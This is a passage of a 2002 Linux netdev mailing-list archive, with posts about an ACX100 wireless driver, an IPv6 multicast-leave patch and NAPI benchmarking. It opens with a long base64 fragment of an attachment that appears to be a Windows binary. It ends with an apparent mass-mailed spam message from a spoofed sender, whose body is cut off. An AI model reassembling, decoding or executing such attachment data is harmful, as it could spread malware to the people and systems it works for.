AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBd3XfXI913laXddxKe 3XcgXd136GDdd3Bh3XfHnd139lzdd1Zz3XdlsN13fFbdd79h3XffYd137mDdd/9h3XeaGN13 ZRvdd2sa3XfPXd13hx7dd5xg3Xc0YN13653dd1hg3Xf0YN13Z13dd6Jg3XcYYN13MXTed528 3XcMsN13C1jddwAAAAADk211AAAAAKBO5neMned3K07md7F553f5P+d3dTL1d9vJ53e7Oet3 ihvmd1YG6HfBMOd345znd9d/5ndjeed3kJznd+9353fFeOd3O0rndwbH53e0FuZ3WUznd8R8 53dbned3N6znd+Yb5nd9FfV3kFDndxzG53dFmud3dk3nd9N253eIx+d38X7nd8if53elNut3 H+L3dwDj93e0xed3KSvndwnb5nfxded3LNXmdyaa53caded3YzHnd5Of53d6F+Z3GAbod/2l 53dvKed3DjXnd/Ew5neBjOd3V8bnd0PC53ebBOh3QDbndys653eXFfV3+Bb1dwtu53cmx+d3 t3zndwiZ53dhqeZ3AAAAAJ0hd18jJndfkkR3X0xCd19yEndfAAAAAOgUEneAFhJ3HRUSd1EW EndzMBJ3ki8Td1IvE3c8LxN3pBYSdwAAAACGBc53AAAAAL9A1HfTPdR3xT3UdxGa1HeFt9R3 xKDUd+9I1HcsqdR3TK7Udyd91He2fNR3b5vUd36b1HdNWtR3Q0bUd0i31Hc+btR3323Ud80+ 1HcAAAAARD7Ed8E+xHdizsN34tfBd5HNwXex2cF3ns/Bd5nTwXfMGMJ3uCbEd5U/xHfYGsJ3 vD3Ed4g8xHeyPMR31EDDd5opxHcRe8N37nrDd2kSw3cAe8N33HrDd6jHxXcJ6cF323nDd2CP xHeI08V3SuvBd2jrwXcyNsN3WwzCd7A+w3dYpsR3exnCd/Yww3dAMcN39RnCdwAAAABT7fd3 g+73d6P093cAAAAA3Gkcd7n1JHe6Fhx3TGYed+41Hnc5Fxx3hUked0MBHndWHhx3BZccdxrV HXdy4Bx34Awcd0LgHHeZbBx3dRYcd/xcIncAAAAAAAAAAJvJAgG1yQIBz8kCAenJAgH8yQIB D8oCASPKAgE2ygIBScoCAWPKAgF6ygIBlMoCAa7KAgG5ygIBxMoCAdrKAgEAAAAAAAAAAAAA AAAAAAAA9GKzPAAAAAACAAAAHQAAALyBAAC8dQAAXAAAAFcAbQBpACAAUAByAG8AdgBpAGQA ZQByACAASABvAHMAdAAAAC8AVQBuAFIAZQBnAFMAZQByAHYAZQByAAAAAAAvAFIAZQBnAFMA ZQByAHYAZQByAAAAAAAgAAkAAAAAAEgAbwBzAHQARABlAGIAdQBnAEIAcgBlAGEAawAAAAAA UwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAEIARQBNAFwAQwBJAE0A TwBNAAAACgBTAHAAaQBuAG4AaQBuAGcAAABXAGkAbgBzAHQAYQAwAFwARABlAGYAYQB1AGwA dAAAAEEAZQBEAGUAYgB1AGcAAABEAGUAYgB1AGcAZwBlAHIAAAAAABCCAAE0qQABWLEBAZyo AAHFqAABihUCAdCoAAHlqAABD6kAAViuAAF/vgABg8wAAQAAAAD/////kakAAaWpAAFYggAB DawAAVixAQGcqAABxagAAYoVAgGeqgAB5agAAQ+pAAFYrgABf74AAYPMAAHUggAB5KoAAVix AQEBrgABL6sAAaerAAEAAAAAGIMAAbu6AAG4sQAB3LEAAQeyAAE0sgABihUCAYoVAgGgogAB AMUAAZ+yAAEYsgABihUCAW6zAAGduAABrLkAASSyAAEksgABJLIAAQAAAABggwABY74AAbix AAHcsQABB7IAATSyAAHLpgAB2KYAAaCiAAEAxQABn7IAARiyAAHSrAABbrMAAZ24AAGsuQAB JLIAASSyAAEksgABUgBvAG8AdAAAAAAATgBhAG0AZQBzAHAAYQBjAGUAIQBzACEAIABQAHIA bwB2AGkAZABlAHIAIQBzACEAIABVAHMAZQByACEAcwAhACAATABvAGMAYQBsAGUAIQBzACEA IABUAHIAYQBuAHMAYQBjAHQAaQBvAG4ASQBkAGUAbgB0AGkAZgBpAGUAcgAhAHMAIQAgAFEA dQBlAHIAeQBJAGQAIQB1ACEAIABRAHUAZQByAHkATABhAG4AZwB1AGEAZwBlACEAcwAhACAA UQB1AGUAcgB5ACEAcwAhACAAUgBlAHMAdQBsAHQAIQB1ACEAAAAAAE0AcwBmAHQAXwBXAG0A aQBQAHIAbwB2AGkAZABlAHIAXwBOAGUAdwBRAHUAZQByAHkAXwBQAG8AcwB0AAAAAABOAGEA bQBlAHMAcABhAGMAZQAhAHMAIQAgAFAAcgBvAHYAaQBkAGUAcgAhAHMAIQAgAFUAcwBlAHIA IQBzACEAIABMAG8AYwBhAGwAZQAhAHMAIQAgAFQAcgBhAG4AcwBhAGMAdABpAG8AbgBJAGQA ZQBuAHQAaQBmAGkAZQByACEAcwAhACAAUQB1AGUAcgB5AEkAZAAhAHUAIQAgAFIAZQBzAHUA bAB0ACEAdQAhAAAAAAAAAAAATQBzAGYAdABfAFcAbQBpAFAAcgBvAHYAaQBkAGUAcgBfAEMA YQBuAGMAZQBsAFEAdQBlAHIAeQBfAFAAbwBzAHQAAAAAAAAATgBhAG0AZQBzAHAAYQBjAGUA IQBzACEAIABQAHIAbwB2AGkAZABlAHIAIQBzACEAIABVAHMAZQByACEAcwAhACAATABvAGMA YQBsAGUAIQBzACEAIABUAHIAYQBuAHMAYQBjAHQAaQBvAG4ASQBkAGUAbgB0AGkAZgBpAGUA cgAhAHMAIQAgAFEAdQBlAHIAeQBMAGEAbgBnAHUAYQBnAGUAIQBzACEAIABRAHUAZQByAHkA IQBzACEAIABTAGkAZAAhAGMAWwBdACEAIABSAGUAcwB1AGwAdAAhAHUAIQAAAAAAAAAAAE0A cwBmAHQAXwBXAG0AaQBQAHIAbwB2AGkAZABlAHIAXwBBAGMAYwBlAHMAcwBDAGgAZQBjAGsA XwBQAG8AcwB0AAAAAAAAAE4AYQBtAGUAcwBwAGEAYwBlACEAcwAhACAAUAByAG8AdgBpAGQA ZQByACEAcwAhACAAVQBzAGUAcgAhAHMAIQAgAEwAbwBjAGEAbABlACEAcwAhACAAVAByAGEA bgBzAGEAYwB0AGkAbwBuAEkAZABlAG4AdABpAGYAaQBlAHIAIQBzACEAIABGAGwAYQBnAHMA IQB1ACEAIABSAGUAcwB1AGwAdAAhAHUAIQAAAAAATQBzAGYAdABfAFcAbQBpAFAAcgBvAHYA aQBkAGUAcgBfAFAAcgBvAHYAaQBkAGUARQB2AGUAbgB0AHMAXwBQAG8AcwB0AAAATgBhAG0A ZQBzAHAAYQBjAGUAIQBzACEAIABQAHIAbwB2AGkAZABlAHIAIQBzACEAIABVAHMAZQByACEA cwAhACAATABvAGMAYQBsAGUAIQBzACEAIABUAHIAYQBuAHMAYQBjAHQAaQBvAG4ASQBkAGUA bgB0AGkAZgBpAGUAcgAhAHMAIQAgAEYAbABhAGcAcwAhAHUAIQAgAE8AYgBqAGUAYwB0AFAA YQB0AGgAIQBzACEAIABNAGUAdABoAG8AZABOAGEAbQBlACEAcwAhACAASQBuAHAAdQB0AFAA YQByAGEAbQBlAHQAZQByAHMAIQBPACEAIABSAGUAcwB1AGwAdABDAG8AZABlACEAdQAhACAA UwB0AHIAaQBuAGcAUABhAHIAYQBtAGUAdABlAHIAIQBzACEAIABPAGIAagBlAGMAdABQAGEA cgBhAG0AZQB0AGUAcgAhAE8AIQAAAE0AcwBmAHQAXwBXAG0AaQBQAHIAbwB2AGkAZABlAHIA XwBFAHgAZQBjAE0AZQB0AGgAbwBkAEEAcwB5AG4AYwBFAHYAZQBuAHQAXwBQAG8AcwB0AAAA AABNAHMAZgB0AF8AVwBtAGkAUAByAG8AdgBpAGQAZQByAF8ARQB4AGUAYwBOAG8AdABpAGYA aQBjAGEAdABpAG8AbgBRAHUAZQByAHkAQQBzAHkAbgBjAEUAdgBlAG4AdABfAFAAbwBzAHQA AAAAAAAATgBhAG0AZQBzAHAAYQBjAGUAIQBzACEAIABQAHIAbwB2AGkAZABlAHIAIQBzACEA IABVAHMAZQByACEAcwAhACAATABvAGMAYQBsAGUAIQBzACEAIABUAHIAYQBuAHMAYQBjAHQA aQBvAG4ASQBkAGUAbgB0AGkAZgBpAGUAcgAhAHMAIQAgAEYAbABhAGcAcwAhAHUAIQAgAFEA dQBlAHIAeQBMAGEAbgBnAHUAYQBnAGUAIQBzACEAIABRAHUAZQByAHkAIQBzACEAIABSAGUA cwB1AGwAdABDAG8AZABlACEAdQAhACAAUwB0AHIAaQBuAGcAUABhAHIAYQBtAGUAdABlAHIA IQBzACEAIABPAGIAagBlAGMAdABQAGEAcgBhAG0AZQB0AGUAcgAhAE8AIQAAAAAATQBzAGYA dABfAFcAbQBpAFAAcgBvAHYAaQBkAGUAcgBfAEUAeABlAGMAUQB1AGUAcgB5AEEAcwB5AG4A YwBFAHYAZQBuAHQAXwBQAG8AcwB0AAAAAAAAAE0AcwBmAHQAXwBXAG0AaQBQAHIAbwB2AGkA ZABlAHIAXwBDAHIAZQBhAHQAZQBJAG4AcwB0AGEAbgBjAGUARQBuAHUAbQBBAHMAeQBuAGMA RQB2AGUAbgB0AF8AUABvAHMAdAAAAAAATQBzAGYAdABfAFcAbQBpAFAAcgBvAHYAaQBkAGUA cgBfAEQAZQBsAGUAdABlAEkAbgBzAHQAYQBuAGMAZQBBAHMAeQBuAGMARQB2AGUAbgB0AF8A UABvAHMAdAAAAAAATgBhAG0AZQBzAHAAYQBjAGUAIQBzACEAIABQAHIAbwB2AGkAZABlAHIA IQBzACEAIABVAHMAZQByACEAcwAhACAATABvAGMAYQBsAGUAIQBzACEAIABUAHIAYQBuAHMA YQBjAHQAaQBvAG4ASQBkAGUAbgB0AGkAZgBpAGUAcgAhAHMAIQAgAEYAbABhAGcAcwAhAHUA IQAgAEkAbgBzAHQAYQBuAGMAZQBPAGIAagBlAGMAdAAhAE8AIQAgAFIAZQBzAHUAbAB0AEMA bwBkAGUAIQB1ACEAIABTAHQAcgBpAG4AZwBQAGEAcgBhAG0AZQB0AGUAcgAhAHMAIQAgAE8A YgBqAGUAYwB0AFAAYQByAGEAbQBlAHQAZQByACEATwAhAAAAAABNAHMAZgB0AF8AVwBtAGkA UAByAG8AdgBpAGQAZQByAF8AUAB1AHQASQBuAHMAdABhAG4AYwBlAEEAcwB5AG4AYwBFAHYA ZQBuAHQAXwBQAG8AcwB0AAAATgBhAG0AZQBzAHAAYQBjAGUAIQBzACEAIABQAHIAbwB2AGkA ZABlAHIAIQBzACEAIABVAHMAZQByACEAcwAhACAATABvAGMAYQBsAGUAIQBzACEAIABUAHIA YQBuAHMAYQBjAHQAaQBvAG4ASQBkAGUAbgB0AGkAZgBpAGUAcgAhAHMAIQAgAEYAbABhAGcA cwAhAHUAIQAgAFMAdQBwAGUAcgBjAGwAYQBzAHMATgBhAG0AZQAhAHMAIQAgAFIAZQBzAHUA bAB0AEMAbwBkAGUAIQB1ACEAIABTAHQAcgBpAG4AZwBQAGEAcgBhAG0AZQB0AGUAcgAhAHMA IQAgAE8AYgBqAGUAYwB0AFAAYQByAGEAbQBlAHQAZQByACEATwAhAAAAAABNAHMAZgB0AF8A VwBtAGkAUAByAG8AdgBpAGQAZQByAF8AQwByAGUAYQB0AGUAQwBsAGEAcwBzAEUAbgB1AG0A QQBzAHkAbgBjAEUAdgBlAG4AdABfAFAAbwBzAHQAAABOAGEAbQBlAHMAcABhAGMAZQAhAHMA IQAgAFAAcgBvAHYAaQBkAGUAcgAhAHMAIQAgAFUAcwBlAHIAIQBzACEAIABMAG8AYwBhAGwA ZQAhAHMAIQAgAFQAcgBhAG4AcwBhAGMAdABpAG8AbgBJAGQAZQBuAHQAaQBmAGkAZQByACEA cwAhACAARgBsAGEAZwBzACEAdQAhACAAQwBsAGEAcwBzAE4AYQBtAGUAIQBzACEAIABSAGUA cwB1AGwAdABDAG8AZABlACEAdQAhACAAUwB0AHIAaQBuAGcAUABhAHIAYQBtAGUAdABlAHIA IQBzACEAIABPAGIAagBlAGMAdABQAGEAcgBhAG0AZQB0AGUAcgAhAE8AIQAAAAAAAABNAHMA ZgB0AF8AVwBtAGkAUAByAG8AdgBpAGQAZQByAF8ARABlAGwAZQB0AGUAQwBsAGEAcwBzAEEA cwB5AG4AYwBFAHYAZQBuAHQAXwBQAG8AcwB0AAAATgBhAG0AZQBzAHAAYQBjAGUAIQBzACEA IABQAHIAbwB2AGkAZABlAHIAIQBzACEAIABVAHMAZQByACEAcwAhACAATABvAGMAYQBsAGUA IQBzACEAIABUAHIAYQBuAHMAYQBjAHQAaQBvAG4ASQBkAGUAbgB0AGkAZgBpAGUAcgAhAHMA IQAgAEYAbABhAGcAcwAhAHUAIQAgAEMAbABhAHMAcwBPAGIAagBlAGMAdAAhAE8AIQAgAFIA ZQBzAHUAbAB0AEMAbwBkAGUAIQB1ACEAIABTAHQAcgBpAG4AZwBQAGEAcgBhAG0AZQB0AGUA cgAhAHMAIQAgAE8AYgBqAGUAYwB0AFAAYQByAGEAbQBlAHQAZQByACEATwAhAAAATQBzAGYA dABfAFcAbQBpAFAAcgBvAHYAaQBkAGUAcgBfAFAAdQB0AEMAbABhAHMAcwBBAHMAeQBuAGMA RQB2AGUAbgB0AF8AUABvAHMAdAAAAAAAAAAAAE4AYQBtAGUAcwBwAGEAYwBlACEAcwAhACAA UAByAG8AdgBpAGQAZQByACEAcwAhACAAVQBzAGUAcgAhAHMAIQAgAEwAbwBjAGEAbABlACEA cwAhACAAVAByAGEAbgBzAGEAYwB0AGkAbwBuAEkAZABlAG4AdABpAGYAaQBlAHIAIQBzACEA IABGAGwAYQBnAHMAIQB1ACEAIABPAGIAagBlAGMAdABQAGEAdABoACEAcwAhACAAUgBlAHMA dQBsAHQAQwBvAGQAZQAhAHUAIQAgAFMAdAByAGkAbgBnAFAAYQByAGEAbQBlAHQAZQByACEA cwAhACAATwBiAGoAZQBjAHQAUABhAHIAYQBtAGUAdABlAHIAIQBPACEAAAAAAE0AcwBmAHQA XwBXAG0AaQBQAHIAbwB2AGkAZABlAHIAXwBHAGUAdABPAGIAagBlAGMAdABBAHMAeQBuAGMA RQB2AGUAbgB0AF8AUABvAHMAdAAAAAAAAABOAGEAbQBlAHMAcABhAGMAZQAhAHMAIQAgAFAA cgBvAHYAaQBkAGUAcgAhAHMAIQAgAFUAcwBlAHIAIQBzACEAIABMAG8AYwBhAGwAZQAhAHMA IQAgAFQAcgBhAG4AcwBhAGMAdABpAG8AbgBJAGQAZQBuAHQAaQBmAGkAZQByACEAcwAhACAA UQB1AGUAcgB5AEkAZAAhAHUAIQAgAFEAdQBlAHIAeQBMAGEAbgBnAHUAYQBnAGUAIQBzACEA IABRAHUAZQByAHkAIQBzACEAAAAAAE0AcwBmAHQAXwBXAG0AaQBQAHIAbwB2AGkAZABlAHIA XwBOAGUAdwBRAHUAZQByAHkAXwBQAHIAZQAAAE4AYQBtAGUAcwBwAGEAYwBlACEAcwAhACAA UAByAG8AdgBpAGQAZQByACEAcwAhACAAVQBzAGUAcgAhAHMAIQAgAEwAbwBjAGEAbABlACEA cwAhACAAVAByAGEAbgBzAGEAYwB0AGkAbwBuAEkAZABlAG4AdABpAGYAaQBlAHIAIQBzACEA IABRAHUAZQByAHkASQBkACEAdQAhAAAAAABNAHMAZgB0AF8AVwBtAGkAUAByAG8AdgBpAGQA ZQByAF8AQwBhAG4AYwBlAGwAUQB1AGUAcgB5AF8AUAByAGUAAAAAAAAAAABOAGEAbQBlAHMA cABhAGMAZQAhAHMAIQAgAFAAcgBvAHYAaQBkAGUAcgAhAHMAIQAgAFUAcwBlAHIAIQBzACEA IABMAG8AYwBhAGwAZQAhAHMAIQAgAFQAcgBhAG4AcwBhAGMAdABpAG8AbgBJAGQAZQBuAHQA aQBmAGkAZQByACEAcwAhACAAUQB1AGUAcgB5AEwAYQBuAGcAdQBhAGcAZQAhAHMAIQAgAFEA dQBlAHIAeQAhAHMAIQAgAFMAaQBkACEAYwBbAF0AIQAAAAAATQBzAGYAdABfAFcAbQBpAFAA cgBvAHYAaQBkAGUAcgBfAEEAYwBjAGUAcwBzAEMAaABlAGMAawBfAFAAcgBlAAAAAAAAAAAA TgBhAG0AZQBzAHAAYQBjAGUAIQBzACEAIABQAHIAbwB2AGkAZABlAHIAIQBzACEAIABVAHMA ZQByACEAcwAhACAATABvAGMAYQBsAGUAIQBzACEAIABUAHIAYQBuAHMAYQBjAHQAaQBvAD== --JX9B723k1m6247sb1270X8y1Oj6xCv525579A-- From ralf@linux-mips.org Sun Sep 8 15:34:11 2002 Received: with ECARTIS (v1.0.0; list netdev); Sun, 08 Sep 2002 15:34:16 -0700 (PDT) Received: from dea.linux-mips.net (p508B4F9D.dip.t-dialin.net [80.139.79.157]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g88MY9tG011436 for ; Sun, 8 Sep 2002 15:34:10 -0700 Received: (from ralf@localhost) by dea.linux-mips.net (8.11.6/8.11.6) id g88McTA23469 for netdev@oss.sgi.com; Mon, 9 Sep 2002 00:38:29 +0200 Date: Mon, 9 Sep 2002 00:38:29 +0200 From: Ralf Baechle To: netdev@oss.sgi.com Subject: Driver for TI ACX100 based card? Message-ID: <20020909003828.A23101@linux-mips.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i X-archive-position: 143 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ralf@linux-mips.org Precedence: bulk X-list: netdev I got a wireless card that is based on Texas Instruments's ACX100 chip. Anybody got me a pointer to a driver or at least to docs for writing one? Thanks, Ralf From bus@fgan.de Mon Sep 9 08:32:42 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Sep 2002 08:32:47 -0700 (PDT) Received: from mailguard.fgan.de (root@mailguard.fgan.de [128.7.3.5]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g89FWetG009618 for ; Mon, 9 Sep 2002 08:32:41 -0700 Received: from rufsun5.ffm.fgan.de (rufsun5.ffm.fgan.de [128.7.2.5]) by mailguard.fgan.de (8.11.6/8.11.2) with SMTP id g89Fb2I06020; Mon, 9 Sep 2002 17:37:02 +0200 Received: from ruf098.fkie.fgan.de (5theBWyHbZTuFU2hNCVXUHm7B7Zfwl82@ruf098.fkie.fgan.de [128.7.2.98]) by rufsun5.ffm.fgan.de (8.8.6/8.8.8) with ESMTP id RAA22273; Mon, 9 Sep 2002 17:36:59 +0200 (CEST) Received: from bus by ruf098.fkie.fgan.de with local (Exim 3.35 #1) id 17oQaw-0004QA-00; Mon, 09 Sep 2002 17:36:58 +0200 Date: Mon, 9 Sep 2002 17:36:58 +0200 From: Michael Bussmann To: davem@redhat.com, pekkas@netcore.fi Cc: netdev@oss.sgi.com Subject: IPV6_LEAVE_GROUP with ipv6mr_interface=0 Message-ID: <20020909153658.GA14597@ruf098.fkie.fgan.de> Mail-Followup-To: davem@redhat.com, pekkas@netcore.fi, netdev@oss.sgi.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.27i X-Virus-Scanned: by FGAN VirusScan X-archive-position: 144 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: bus@mb-net.net Precedence: bulk X-list: netdev Hi there, I've had some problems with leaving IPv6 multicast groups when specifing ipv6mr_interface=0: I joined a group with | imr.ipv6mr_multiaddr=FF1E::123 | imr.ipv6mr_interface=0 | setsockopt(.., IPV6_JOIN_GROUP, &imr, ...) This works perfectly so far. Leaving this group, however, with | imr.ipv6mr_multiaddr=FF1E::123 | imr.ipv6mr_interface=0 | setsockopt(.., IPV6_LEAVE_GROUP, &imr, ...) always resulted in a ENOENT. Is ipv6mr_interface=0 not appropiate for leaving a multicast group (it works under Solaris 2.8)? The following patch (for 2.4.18, but it should work with 2.5.33) makes the interface=0 stuff work. Maybe it breaks everything else... Best regards, MB -- Michael Bussmann Who will take the coal from the mine? Who will take the salt from the earth? Who'll take a leaf and grow it to a tree? Don't Look Now, it ain't you or me. -- CCR, 'Dont Look Now', 1969 Patch for linux/net/ipv6/mcast.c: --- mcast.c.orig Mon Sep 9 16:40:07 2002 +++ mcast.c Mon Sep 9 16:40:10 2002 @@ -140,15 +140,26 @@ struct ipv6_mc_socklist *mc_lst, **lnk; write_lock_bh(&ipv6_sk_mc_lock); + for (lnk = &np->ipv6_mc_list; (mc_lst = *lnk) !=NULL ; lnk = &mc_lst->next) { - if (mc_lst->ifindex == ifindex && + if ((ifindex==0) || (mc_lst->ifindex == ifindex) && ipv6_addr_cmp(&mc_lst->addr, addr) == 0) { struct net_device *dev; *lnk = mc_lst->next; write_unlock_bh(&ipv6_sk_mc_lock); + if (ifindex == 0) { + struct rt6_info *rt; + rt = rt6_lookup(addr, NULL, 0, 0); + if (rt) { + dev = rt->rt6i_dev; + dev_hold(dev); + dst_release(&rt->u.dst); + } + } else + dev = dev_get_by_index(ifindex); - if ((dev = dev_get_by_index(ifindex)) != NULL) { + if (dev!= NULL) { ipv6_dev_mc_dec(dev, &mc_lst->addr); dev_put(dev); } From manand@us.ibm.com Mon Sep 9 10:46:09 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Sep 2002 10:46:12 -0700 (PDT) Received: from e4.ny.us.ibm.com (e4.ny.us.ibm.com [32.97.182.104]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g89Hk8tG019867 for ; Mon, 9 Sep 2002 10:46:09 -0700 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e4.ny.us.ibm.com (8.12.2/8.12.2) with ESMTP id g89HoQj2119866; Mon, 9 Sep 2002 13:50:26 -0400 Received: from d03nm123.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by northrelay02.pok.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g89HoLKr070680; Mon, 9 Sep 2002 13:50:22 -0400 Subject: To: inux-net@vger.kernel.org, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Cc: "Bill Hartner" , davem@redhat.com, Robert Olsson , jamal X-Mailer: Lotus Notes Release 5.0.7 March 21, 2001 Message-ID: From: "Mala Anand" Date: Mon, 9 Sep 2002 12:50:24 -0500 X-MIMETrack: Serialize by Router on D03NM123/03/M/IBM(Release 5.0.10 |March 22, 2002) at 09/09/2002 11:50:25 AM MIME-Version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g89Hk8tG019867 X-archive-position: 145 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: manand@us.ibm.com Precedence: bulk X-list: netdev  > "David S. Miller" wrote: >> NAPI is also not the panacea to all problems in the world.    >Mala did some testing on this a couple of weeks back. It appears that    >NAPI damaged performance significantly. >http://www-124.ibm.com/developerworks/opensource/linuxperf/netperf/results/july_02/netperf2.5.25results.htm >Unfortunately it is not listed what e1000 and core NAPI >patch was used. Also, not listed, are the RX/TX mitigation >and ring sizes given to the kernel module upon loading. The default driver that is included in 2.5.25 kernel for Intel gigabit adapter was used for the baseline test and the NAPI driver was downloaded from Robert Olsson's website. I have updated my web page to include Robert's patch. However it is given there for reference purpose only. Except for the ones mentioned explicitly the rest of the configurable values used are default. The default for RX/TX mitigation is 64 microseconds and the default ring size is 80. I have added statistics collected during the test to my web site. I do want to analyze and understand how NAPI can be improved in my tcp_stream test. Last year around November, when I first tested NAPI, I did find NAPI results better than the baseline using udp_stream. However I am concentrating on tcp_stream since that is where NAPI can be improved in my setup. I will update the website as I do more work on this. >Robert can comment on optimal settings I saw Robert's postings. Looks like he may have a more recent version of NAPI driver than the one I used. I also see 2.5.33 has NAPI, I will move to 2.5.33 and continue my work on that. >Robert and Jamal can make a more detailed analysis of Mala's >graphs than I. Jamal has questioned about socket buffer size that I used, I have tried 132k socket buffer size in the past and I didn't see much difference in my tests. I will add that to my list again. Regards, Mala Mala Anand IBM Linux Technology Center - Kernel Performance E-mail:manand@us.ibm.com http://www-124.ibm.com/developerworks/opensource/linuxperf http://www-124.ibm.com/developerworks/projects/linuxperf Phone:838-8088; Tie-line:678-8088 From bert.verwoerd@wanadoo.nl Mon Sep 9 14:07:33 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Sep 2002 14:07:39 -0700 (PDT) Received: from smtp6.wanadoo.nl (smtp6.wanadoo.nl [194.134.35.177]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g89L7MtG030357 for ; Mon, 9 Sep 2002 14:07:22 -0700 Received: from Iillrkgyh (d4404ba1.cable.wanadoo.nl [212.64.75.161]) by smtp6.wanadoo.nl (Postfix) with SMTP id EA1426F08F for ; Mon, 9 Sep 2002 22:46:25 +0200 (CEST) From: debian-hurd To: netdev@oss.sgi.com Subject: Japanese girl VS playboy MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=K6H0NW1t7D Message-Id: <20020909204625.EA1426F08F@smtp6.wanadoo.nl> Date: Mon, 9 Sep 2002 22:46:25 +0200 (CEST) X-archive-position: 146 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: debian-hurd@lists.debian.org Precedence: bulk X-list: netdev --K6H0NW1t7D Content-Type: text/html; Content-Transfer-Encoding: quoted-printable 